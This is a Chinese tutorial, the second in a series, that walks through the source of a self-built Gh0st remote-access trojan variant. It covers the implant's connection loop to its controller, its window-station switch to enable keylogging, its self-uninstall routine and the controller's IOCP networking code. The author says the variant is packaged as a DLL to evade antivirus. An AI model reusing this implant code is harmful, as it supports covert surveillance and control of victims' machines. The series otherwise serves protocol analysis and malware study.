Gh0st通信协议解析(2)
从被控端主动去连接主控端开始谈起。世间万事万物有始有终,宇宙环宇的动力起点就是上帝的那一推之力。当然,主控端与被控端的交互总是从被控端主动连接到主控端开始的,让我们从发起连接这个引爆点谈起……
*******************************************************************************
首先,我需要声明一点,我们本款远控软件仅仅就是一个DLL文件,为什么我们的木马就是一个DLL文件,因为要让我们的这个木马躲过杀软的截杀必须想尽各种猥琐的方法让其启动,这就需要我们开发第三方的程序去启动我们的这个DLL,而如今计算机病毒的精彩技术就体现在这个第三方程序上,第三方程序的犀利程度也成了写计算机病毒的人水平高低的一个衡量标准。我们或许在后续的文章中不会向大家展示这第三方程序的开发思路,因为一旦将这种思路公布,我们的这个远控就具备了真正的杀伤力。还有一个因素,我们这套课程的主题就是分析gh0st的通信协议,因此,对其它的内容我们会因课程的需要稍微提一下而已。好,我们接下来看看我们的这款gh0st变种的一个执行过程。
首先,在这个DLL被加载的时候,会判断自身的一个执行环境,如果是在rundll32.dll里,那就开始后续的操作,否则不会有任何的动作。
接下来创建了一个工作线程,这个工作线程的线程函数为Login,从函数名字我们也可以看出就是取连接主控端。关于这个函数的功能,我们稍后详述,在这里我们看一下下面这个语:CKeyboardManager::g_hInstance=(HINSTANCE)hModule;
从这里我们可以看出,这个值会在卸载自身的时候被用到。
接下来,我们看看这个Login线程函数,因为这个函数比较大,我们分为四段进行讲解。
首先,是创建一个互斥量,保证单个实例运行。
HANDLE CreateMutex(
LPSECURITY_ATTRIBUTES lpMutexAttributes,
BOOL bInitialOwner,
LPCTSTR lpName
);
接下来是设置工作站,关于设置工作站的作用,因为gh0st的原作者是将这个DLL文件加载到系统服务运行的,这样就有一个问题:服务是system运行的,有自己的窗口站,和我们默认使用的 “winsta0“不是一个窗口站,不能直接通讯、交互,因此,需要我们自己设置本进程的工作站为winsta0。这样这个DLL就可以与我们默认使用的这个窗口站上的程序进行交互,比如后续中的查找窗口、截获键盘记录等操作才会有效。
设置工作站的一组API如下:
1:HWINSTA GetProcessWindowStation(VOID)
The GetProcessWindowStation function returns a handle to the window station associated with the calling process.
这个函数会返回一个与调用此函数的进程相关的窗口工作站句柄。
2:HWINSTA OpenWindowStation(
LPTSTR lpszWinSta,
BOOL fInherit,
DWORD dwDesiredAccess
);
The OpenWindowStation function returns a handle to an existing window station.
这个函数会返回一个指定的已经存在的窗口工作站的句柄。
3:BOOL SetProcessWindowStation(HWINSTA hWinSta);
The SetProcessWindowStation function assigns a window station to the calling process. This enables the process to access objects in the window station such as desktops, the clipboard, and global atoms. All subsequent operations on the window station use the access rights granted to hWinSta.
这个函数会为调用此函数的进程设置一个窗口工作站。这使得这个进程可以访问到属于这个窗口工作站的对象,比如桌面、剪切板、还有全局的变量。在这个工作站上的所有后续操作都将依赖于hWinSta所具有的访问权限。
再接下来是设置本进程的错误模式,如果在本进程中发生了严重级别比较高的错误的时候,会将错误发送到本进程来处理,而不是不负责的弹出一个错误对话框,要注意我们这个DLL的坯子可不是很好。
UINT SetErrorMode(UINT uMode);
The SetErrorMode function controls whether the system will handle the specified types of serious errors, or whether the process will handle them.
这个函数可以设置是否由系统来处理一些制定类型的严重错误,还是由程序来处理他们。
对几个变量的作用进行解析。
1:lpszHost:将要连上的主控端的IP地址或者域名地址
2:dwPort:将要连接上的主控端的监听端口
3:hEvent:这个变量是作为主线程退出的一个哨兵监视点,看看这个变量被利用的几个位置。
A:在向主控端进行连接的时候的这个无限循环的开始处,有如下的调用
for (int i = 0; i < 500; i++)
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, "BITS");
if (hEvent != NULL)
{
socketClient.Disconnect();
CloseHandle(hEvent);
break;
}
Sleep(60);
}
B:在主控端要求结束进行对被控端的控制的时候,对此变量有这样的操作
void CKernelManager::UnInstallService()
{
char MyPath[MAX_PATH];
GetModuleFileName(CKeyboardManager::g_hInstance,MyPath,MAX_PATH);
DeleteFile("C:\\FW.FW");
MoveFile(MyPath,"C:\\FW.FW");
CreateEvent(NULL, true, false, m_strKillEvent);
}
C:在向主控端进行连接的时候的这个无限循环的结束处,有如下的调用
do
{
hEvent = OpenEvent(EVENT_ALL_ACCESS, false, "BITS");
dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);
Sleep(500);
} while(hEvent == NULL && dwIOCPEvent != WAIT_OBJECT_0);
对以上三处的调用我们做一个说明:第一处调用是在判断当前没有连接、并分析出当前没有连接的原因不是NOT_CONNECT,这个时候会在一个循环中等待第二处调用的地方将这个Event创建出来,即所有操作完成后,通知主线程可以退出。第三处的调用跟第一处调用类似,知识多了一个IOCPEvent的判断。
4:bBreakError就是一个记录断开连接的原因的一个变量。
接下来,我们根据程序的执行流程走一遍,先看CClientSocket socketClient;
看看CClientSocket这个类的构造函数中都进行了哪些操作。
初始化了Socket库,创建了一个人工置信、初始状态未受信、未命名的一个事件对象。关于这个事件对象的作用,我们看以下几个地方。
1:在CClientSocket::CClientSocket()中
m_hEvent = CreateEvent(NULL, true, false, NULL);创建了这个事件对象
2:在CClientSocket::~CClientSocket()中
CloseHandle(m_hEvent);关闭了事件对象句柄
3:在CClientSocket::Connect中,连接主控端之前
ResetEvent(m_hEvent);重置了该事件对象的受信状态为未受信。
4:在CClientSocket::Disconnect(),关闭到主控端的连接中
SetEvent(m_hEvent);将该事件对象设置为受信状态
5:刚刚在连接循环中看到的dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);从以上几个调用的地方,我们可以得知,这个事件对象的作用就是监视被控端与主控端的一个连接状态的哨兵。
接下来是填充了一个通信数据包中使用的签名数据。
我们继续往下看这个连接主控端的无限循环。接下来,如果主控端主动卸载被控端的时候,将会使得上述讨论的hEvent=OpenEvent(EVENT_ALL_ACCESS, false, "BITS");返回非NULL的值,也就会使得socketClient.Disconnect();会被执行。我们看看这个函数的定义。
在前面一节课Gh0st通信协议解析(1)中,我们已经分析过关闭套接字的用法,在这里我们就回顾一下以前的分析:
设置 l_onoff为非0,l_linger为0,则套接口关闭时TCP夭折连接,TCP将丢弃保留在套接口发送缓冲区中的任何数据并发送一个RST给对方,而不是通常的四分组终止序列,这避免了TIME_WAIT状态。这样直接丢弃了所有在这个套接字上的所有的数据,不论是待发送的还是待接收的,都被丢弃。解决掉了套接字上残留的数据之后,接下来开始进行撤销在此套接字上悬而未决的操作,接着关闭掉这个套接字句柄,并且将这个套接字句柄的值设置为:INVALID_SOCKET。
CancelIo:这个函数的讲解。
BOOL CancelIo(
HANDLE hFile // file handle for which to cancel I/O
);
The CancelIofunction cancels all pending input and output (I/O) operations that were issued by the calling thread for the specified file handle. The function does not cancel I/O operations issued for the file handle by other threads.
这个函数可以取消掉调用此函数的线程中的个句柄上阻塞的输入、输出操作。但是这个函数无法取消掉在其它的线程中的某个句柄上的输入、输出操作。
InterlockedExchange:这个函数我们以前没有详细讲解过。
LONG InterlockedExchange(
LPLONG Target,
LONG Value
);
The InterlockedExchange function atomically exchanges a pair of 32-bit values. The function prevents more than one thread from using the same variable simultaneously.
这个函数的执行是原子性的操作,也就是说它的执行是不可中断的。它执行的操作就是交换两个数据的值。这个函数阻止多个线程同时对这个数据进行引用。
接下是一个SetEvent(m_hEvent)操作,使得在CClientSocket的构造函数中创建的这个事件对象的处于受信状态,如此便可使得当初连接到主控端的那个无限循环中等待连接结束的小循环中的这一句调用dwIOCPEvent = WaitForSingleObject(socketClient.m_hEvent, 100);返回一个WAIT_OBJECT_0。
我们继续看,连接到主控端的这个无限循环中部分代码。
在开始分析下面的代码前,我们需要明确一点gh0st的一个很优秀的功能就是,被控端可以不直接连接到主控端上,而是可以连接到代理服务器上,而在我们将要分析与制作的这款gh0st修改版上,我们不打算支持这个功能。因此,我们对代理这一块确实做了简约化处理。
我们简单的谈一下gh0st原版的一个查找主控端信息以及代理信息的一个过程,因为在我们的这个修改版本中并没有这个过程。
1:首先在执行文件的本模块中找到经过加密处理的上线字符串
2:然后对这个上线字符串进行一个解密
3:对解密后的字符串进行一个判断,或者是用域名上线,或者是得从网上获取上线的信息。
4:然后对获取到得上线信息进行一个信息提取,解析出上线主机IP/端口、代理IP/端口。
好了,我们继续看这个连接的过程。
首先调用的是一句:socketClient.setGlobalProxyOption();这个函数是有默认的参数的,如下:
void setGlobalProxyOption(int nProxyType = PROXY_NONE, LPCTSTR lpszProxyHost = NULL, UINT nProxyPort = 1080, LPCTSTR lpszUserName = NULL, LPCSTR lpszPassWord = NULL);
也就是说,如果按照我们的这种调用方是,那么我们默认是不使用代理服务器的。
我们看看这个函数的一个实现方式:
我们仅仅是大体看下这个函数的实现方式,其中的变量我们不去深究,因为在我们的程序中这些变量的存在意义不大。
接下来就是被控端向主控端进行连接的地方,主要是调用了CClientSocket::Connect这个函数:
连接之前,首先要执行CClientSocket::Disconnect这个函数,目的就是清除一下socket资源。这里面有个险中取胜的一个地方,在Disconnect函数中有一个对m_hEvent进行置信的操作,要知道在连接主控端的这个大循环中是不断的循环测试这个值的,如果这个值受信了则就退出这个连接循环,那客户端岂不是就掉线了?而问题的解决方案就在这里,在Connect这个函数中调用了Disconnect之后紧接着调用了ResetEvent这个函数,马上将m_hEvent设置为未受信的状态。
因为我们忽略了代理服务器,因此在这里所有对代理服务器的操作我们都可以忽略到,除了这些我们会发现,上面一段代码就是创建了一个用于连接的套接字,然后连接主控端。
连接到主控端之后,设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:
设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDING的IO操作,则马上会失败返回。
上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定主控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。
接下来就创建了一个无限循环的工作线程,这个工作线程的主要任务就是监听来自客户端的命令请求,关于这个线程的分析,我们稍后再表。
让我们话分两路,去看看当有被控端主动去连接到主控端的时候,主控端会有怎样的操作。
当有被控端连接到主控端的时候,在监听套接字上会有网络事件发生,因此阻塞在m_hEvent这个事件对象上的线程会被唤醒,接下来会详细判断出发生在监听套接字上的这个网络事件具体是否为FD_ACCEPT,因为我们在监听套接字上,只对这个网络事件感兴趣。如果确实为FD_ACCEPT这个网络事件的发生的话,那么就要调用CIOCPSserver::OnAccept这个函数,对到来的连接进行处理。
我们先来看看这一段接收所用到得API函数的功能进行一个简单的说明。
1:reinterpret_cast:CIOCPServer* pThis = reinterpret_cast
The reinterpret_cast operator allows any pointer to be converted into any other pointer type, and it allows any integral type to be converted into any pointer type and vice versa. Misuse of the reinterpret_cast operator can easily be unsafe. Unless the desired conversion is inherently low-level, you should use one of the other cast operators.
这个操作符允许你将任意类型的指针转化成其它类型的指针,并且允许你将整形转换成任意类型的指针,反之亦然。错误的使用这个操作符可以轻易的使你的程序处于不安全的状态。2:WaitForSingleObject:
DWORD WaitForSingleObject(
HANDLE hHandle,
WORD dwMilliseconds
);
The WaitForSingleObject function returns when one of the following occurs: The specified object is in the signaled state. The time-out interval elapses. 当以下两种情况发生的时候,这个函数会返回:指定的对象处于受信的状态。等待超时。3:WSAWaitForMultipleEvents DWORD WSAWaitForMultipleEvents(
WORD cEvents,
const WSAEVENT FAR *lphEvents,
BOOL fWaitAll,
DWORD dwTimeOUT,
BOOL fAlertable
);
The WSAWaitForMultipleEvents function returns either when any one or when all of the specified objects are in the signaled state, or when the time-out interval elapses. 当所有指定的对象受信的时候或者只有一个对象受信的时候,又或者等待的时间超时的时候,这个函数才会返回。
4
:WSAEnumNetworkEvents
int WSAEnumNetworkEvents (
SOCKET s,
WSAEVENT hEventObject,
LPWSANETWORKEVENTS lpNetworkEvents
);
The Windows Sockets WSAEnumNetworkEventsfunction discovers occurrences of network events for the indicated socket, clear internal network event records, and reset event objects (optional).这个函数会识别指定的socket上发生的网络事件,并且会清除内部的网络事件记录,还会重置事件对象。 接下来,我们去CIOCPServer::OnAccept里去看看这个函数的实现原理。在这个函数里有个接收后续数据的引爆点——PostRecv。
对以上代码进行说明:
首先,创建了一个与被控端进行通信的clientSocket,这个clientSocket是主控端与被控端进行信息交互的传输媒介。接下来是为了与被控端进行信息交互而创建了一个保存客户端数据的变量ClientContext* pContext = AllocateContext();我们看以下这个函数的实现:
首先是用临界区CLock cs(CIOCPServer::m_cs, "AllocateContext")锁住了这块代码,以使得这个线程独占的访问该代码。
接着判断m_listFreePool这个链表里面是否还有元素存在,注意这个连表里的每一个元素都是一个指针,指向一个ClientContext结构。有的话直接从这个连表里摘取一个下来,否则的话需要从新申请一个ClientContext结构。我们对这个结构的成员变量进行一番说明。
m_Socket:
主控端用来记录与每个被控端进行通信的Socket
m_WriteBuffer:
这个变量的类型是CBuffer类,关于这个类型的定义如下所示,在这里我们也啰嗦一下,全面讲讲这个类的各个成员函数。
首先呢,看看CBuffer这个类的三个成员变量
m_pBase:
始终指向Buffer的一个起始位置。
m_pPtr:
始终指向Buffer的一个结束位置。
m_nSize:
始终反映当前这个缓冲区的大小。
接下来看看这几个成员函数:
构造函数
析构函数
重新调整缓冲区的大小的函数(往大了去调整)
重新调整缓冲区的大小的函数(往小了去调整)
返回CBuffer对象一些参数信息。比如缓冲区的大小m_nSize,缓冲区中有效数据的擦长度。
在这里我们要注意,缓冲区的大小与缓冲区中存储的信息不是一个概念,我们看返回这俩个数据的函数。
返回缓冲区的大小
返回有效数据的长度
往缓冲区中写数据
从缓冲区中读取数据
往缓冲区首部插入数据
从缓冲区首部中删除数据
从指定的位置开始搜索字符串
返回缓冲区中指定的位置处得字符串
清空缓冲区中的数据
实际上并没有清空,这个缓冲区里还有1024个字节的空间。
下面是几种往缓冲区中增加数据的方式,包括以CString的方式,CBuffer的方式,File的方式。
至此,这个CBuffer这个类的成员变量以及成员函数我们就看到这里。我们继续回到这个类——ClientContext。
CBuffer m_WriteBuffer; //
将要发送的数据
CBuffer m_CompressionBuffer; //
接收到的压缩的数据
CBuffer m_DeCompressionBuffer; //
解压后的数据
CBuffer m_ResendWriteBuffer; //
上次发送的数据包,接收失败时重发时用
int m_Dialog[2]; //
第一个int是类型,第二个是CDialog的地址
int m_nTransferProgress; //
记录传输的速度
// Input Elements for Winsock
WSABUF m_wsaInBuffer;
BYTE m_byInBuffer[8192];
以上两个值是给非阻塞函数WSARecv函数作为参数用的,具体的用法,看下面:
*******************************************************************************
pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;
pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);
UINT nRetVal = WSARecv(pContext->m_Socket,
&pContext->m_wsaInBuffer,
1,
&dwNumberOfBytesRecvd,
&ulFlags,
&pOverlap->m_ol,
NULL);
首先,将m_wsaInBuffer 这个变量的两个成员变量赋值为ClientContext里的成员变量m_byInBuffer。然后再WSARecv这个函数里会用到m_wsaInBuffer。在这里我们要第一次简单的初探主控端与被控端的交互过程:我打算从两个不同角度去简要的叙述一下主控端与被控端之间的交互过程。
第一:数据的发送过程。
1
:在CIOCPServer::Send函数中准备好待发送的数据。就是将需要发送的数据先存储在ClientContext::
m_WriteBuffer
这个缓冲区中,主控端主动向被控端发送的数据基本上都是一些命令数据,因此,没有将命令数据进行压缩传输。但是,在传输的过程中可能会引起数据丢失,需要备份将要发送的数据,因此,在ClientContext::
m_ResendWriteBuffer
中备份了这些命令数据。
2
:准备好将要发送的数据之后,使用
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);
PostQueuedCompletionStatus(m_hCompletionPort,
0,
(DWORD) pContext,
&pOverlap->m_ol);
向完成端口投递一个发送数据的请求,这个时候的数据并没有送出到网卡的数据缓冲区,当然也就没有被发送出去,这个时候的数据甚至都可能没有发送至TCP/IP协议栈的缓冲区中。
3
:守候在完成端口上的工作线程会因为这里投递了一个发送数据的请求而被唤醒,这个时候BOOL bIORet = GetQueuedCompletionStatus(hCompletionPort,
&dwIoSize,
LPDWORD) &lpClientContext,
&lpOverlapped, INFINITE);
等待在此函数上的线程会被唤醒,这个函数会返回,并且在lpClientContext,会返回由PostQueuedCompletionStatus的参数pContext指向的内容地址。在lpOverlapped中会返回pOverlap这个变量的值。
PostQueuedCompletionStatus
GetQueuedCompletionStatus
这两个函数的参数是一一对应的。
4
:先前发送的投递请求最终是由CIOCPServer::ProcessIOMessage这个函数来完成的,关于这个函数的定义,不得不去看一组宏定义:
enum IOType
{
IOInitialize,
IORead,
IOWrite,
IOIdle
};
#define BEGIN_IO_MSG_MAP() \
public: \
Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0)\
{ \
bool bRet = false;
#define IO_MESSAGE_HANDLER(msg, func) \
if (msg == clientIO) \
bRet = func(pContext, dwSize);
#define END_IO_MSG_MAP() \
return bRet; \
}
接下来,我们需要看看使用这个宏的地方的定义:
BEGIN_IO_MSG_MAP()
IO_MESSAGE_HANDLER(IORead, OnClientReading)
IO_MESSAGE_HANDLER(IOWrite, OnClientWriting)
IO_MESSAGE_HANDLER(IOInitialize, OnClientInitializing)
END_IO_MSG_MAP()
对这组宏调用进行宏展开,展开之后的情形为:
public:
Bool ProcessIOMessage(IOType clientIO, ClientContext* pContext, DWORD dwSize = 0)\
{
bool bRet = false;
if (IORead == clientIO) \
bRet = OnClientReading(pContext, dwSize);
if (IOWrite == clientIO) \
bRet = OnClientWriting(pContext, dwSize);
if (IOInitialize == clientIO) \
bRet = OnClientInitializing(pContext, dwSize);
return bRet;
}
5
:这样的话,我们所投递的发送数据的请求,就由OnClientWriting这个函数来处理了,这个函数的处理方式也比较简单。
pContext->m_wsaOutBuffer.buf = (char*) pContext->m_WriteBuffer.GetBuffer();
pContext->m_wsaOutBuffer.len = pContext->m_WriteBuffer.GetBufferLen();
int nRetVal = WSASend(pContext->m_Socket,
&pContext->m_wsaOutBuffer,
1,
&pContext->m_wsaOutBuffer.len,
ulFlags,
&pOverlap->m_ol,
NULL);
将含有待发送数据的缓冲区地址赋给我们使用WSASend函数的参数,然后将数据发送出去,这样就完成了整个数据的发送过程。而且这整个过程也都是由动作驱动的,有数据发送,则主动投递发送请求。
第二:数据的接收过程
首先说明一点,数据的接收的过程是由程序自身驱动的,我们必须自己先调用WSARecv函数,通知完成端口一旦在该套接字上有数据到达即调用为完成端口服务的线程中分发函数进行处理到来的数据。这一整个过程可以描述如下。
1
:当有客户连接到来的时候,即调用 PostRecv(pContext);
OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IORead);
ULONG ulFlags = MSG_PARTIAL;
DWORD dwNumberOfBytesRecvd;
UINT nRetVal = WSARecv(pContext->m_Socket,
&pContext->m_wsaInBuffer,
1,
&dwNumberOfBytesRecvd,
&ulFlags,
&pOverlap->m_ol,
NULL);
在这个函数中,调用WSARecv函数,并不是要接收数据,而是使得当在pContext->m_Socket这个Socket上有数据到来的时候,可以像完成端口投递一个IORead类型的读数据请求,当然这个IORead数据的读请求理所当然的由OnClientReadling这个函数来完成。
2
:在OnclientReadling这个函数里完成,对数据的提取以及解压缩,在这里我们要注意一点,在函数WSARecv中要求数据到来的时候,填充到pContext->m_wsaInBuffer,这个缓冲区中,而这个缓冲区实际上是
pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;
pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);
这个缓冲区pContext->m_byInBuffer中会承载接收到得数据。
然后对这个缓冲区中的数据进行一个解析,将数据先拷贝到m_CompressionBuffer这个缓冲区中,然后由这个缓冲区解压缩到m_DeCompressionBuffer这个缓冲区中,这样玩彻骨了一次数据的读取过程,接下来再次调用PostRecv这个函数,保证这个接收数据的操作始终是处于蓄势待发的状态,有数据到来,立马处理之。
// Output elements for Winsock
WSABUF m_wsaOutBuffer;
这个成员变量就是用来给WSASend作为函数参数来使用的,它的使用方式我们在上面也已经说过,在这里就不再赘述。
HANDLE m_hWriteComplete;
这个变量在这里,我先临时定为无意义的一个变量,因为我确实没看到这个变量有被初始化。
// Message counts... purely for example purposes
LONG m_nMsgIn;
LONG m_nMsgOut;
以上两个变量记录发送出去,或者接收到得数据包的个数。
BOOL m_bIsMainSocket; //
是不是主socket
这两个变量并没有被启用。
ClientContext* m_pWriteContext;
ClientContext* m_pReadContext;
接下来,让我们回到CIOCPServer::AllocateContext这个函数,继续往下看这个函数里的实现:
if (pContext != NULL)
{
ZeroMemory(pContext, sizeof(ClientContext));
pContext->m_bIsMainSocket = false;
memset(pContext->m_Dialog, 0, sizeof(pContext->m_Dialog));
}
对申请到得缓冲区进行一个清零,并且初始化几个成员变量的值。
继续回溯,回到CIOCPServer::OnAccept()这个函数,有剩余的代码需要分析
pContext->m_Socket = clientSocket;
pContext->m_wsaInBuffer.buf = (char*)pContext->m_byInBuffer;
pContext->m_wsaInBuffer.len = sizeof(pContext->m_byInBuffer);
以上就是对新申请到得这个缓冲区的必要成员变量进行一个赋值操作,各个成员变量的含义我们在前面已经阐述过,这里不再赘述。
if (!AssociateSocketWithCompletionPort(clientSocket,
m_hCompletionPort,
(DWORD) pContext))
{
delete pContext;
pContext = NULL;
closesocket( clientSocket );
closesocket( m_socListen );
return;
}
接下来,我们重点看看CIOCPServer::AssociateSocketWithCompletionPort这个函数的实现过程,这个函数的作用就是将主控端与被控端进行交互的套接字与完成端口关联起来,如此当在这些套接字上发生网络事件的时候,为完成端口工作的工作线程可以及时处理这些事件。
关于CreateIoCompletionPort这个函数的具体使用方法,在前面的我们有提到,在这里我们再回顾一下:
The CreateIoCompletionPort function can associate an instance of an opened file with a newly created or an existing input/output (I/O) completion port; or it can create an I/O completion port without associating it with a file。
也就是说这个函数既可以将某个打开的“文件”句柄与新创建的或者已经存在的输入输出端口相关联起来,也可以仅仅创建一个完成端口而不与某个“文件”相关联。上图所示即是将主控端与被控端端进行通信的套接字句柄与先前创建的那个完成端口相关联。
我们继续看CIOCPServer::OnAccept()这个函数未解读的部分
设置了该套接字的一个保活特性,关于这部分的内容我们在Gh0st通信协议分析(1)里有也有讲过,在这里我们再回顾一下这种使用方法:
设置了SIO_KEEPALIVE_VALS后,激活包由TCP STACK来负责。当网络连接断开后,TCP STACK并不主动告诉上层的应用程序,但是当下一次RECV或者SEND操作进行后,马上就会返回错误告诉上层这个连接已经断开了如果检测到断开的时候,在这个连接上有正在PENDING的IO操作,则马上会失败返回。
上面这句代码的含义是:每隔m_nKeepLiveTime的时间,开始向受控端发送激活包,重复发送五次,每次发送的时间间隔是10秒钟,如果在十秒钟之内都没能得到回复,则判定受控端已经掉线。对掉线后的处理,在这里我必须要说说:由于TCP STACK并不主动告诉上层的应用程序,只有当下一次发送数据,或者接收数据的时候才会被发现。
继续分析CIOCPServer::OnAccept()这个函数未解读的部分
保存这个会话数据结构到m_listContexts这个变量中,接下来向完成端口投递一个名称为IOInitialize的请求,请求完成端口能处理这个请求,而完成端口对这个请求的处理,我们根据前面的分析,应该由CIOCPServer::OnClientInitializing:这个函数来处理,我们看看这个函数的实现方式:
并没有做什么特别的处理。
接着调用了与界面进行交互的那个通知函数,我们这次再次进入这个函数里追踪一下上线这个过程。通过追踪NC_CLIENT_CONNECT这个变量我们发现,程序中并没有对这个通知做任何特殊的处理。
接下来是调用了PostRecv(pContext)这个函数,让我们看看这个函数的实现过程
这个函数就是向完成端口投递一个接收数据的请求,以待后续有数据传输过来的时候,会有完成端口的工作线程负责调用相应的函数去处理。
至此,主控端就顺利的完成了一次被上线主机的一个接收过程,接下来的过程,是受控端主动主控端发送上线包的这么一个过程,以及,被控端对各种控制命令的一个响应的过程,关于这部分的内容,我们在Gh0st通信协议解析(3)里在讨论。